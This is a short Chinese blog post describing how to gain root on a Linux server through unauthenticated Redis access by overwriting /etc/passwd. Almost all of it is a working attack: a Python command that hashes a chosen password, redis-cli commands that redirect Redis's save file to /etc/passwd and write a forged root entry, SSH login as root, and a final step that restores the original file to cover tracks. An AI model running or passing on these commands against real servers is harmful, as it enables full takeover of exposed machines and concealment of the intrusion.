redis未授权访问写/etc/passwd

2020-04-24  本文已影响0人  Instu

学到个redis未授权访问getshell的新技巧,记录一下。

前提条件

原理

利用过程

  1. 首先生成一串密码为YourNewPasswd%1024的密文
root@kali:~# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
  1. 接下来写入/etc/passwd
redis-cli -h 192.168.80.147
config set dir /etc/
config set dbfilename passwd
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
save
  1. 写入完成后,使用root/YourNewPasswd%1024可成功连接ssh
  2. 最后再替换下/etc/passwd-,就又恢复成root用户的原密码了
[root@localhost ~]# cp /etc/passwd- /etc/passwd
image.png

参考

https://www.freebuf.com/vuls/148758.html

上一篇下一篇

猜你喜欢

热点阅读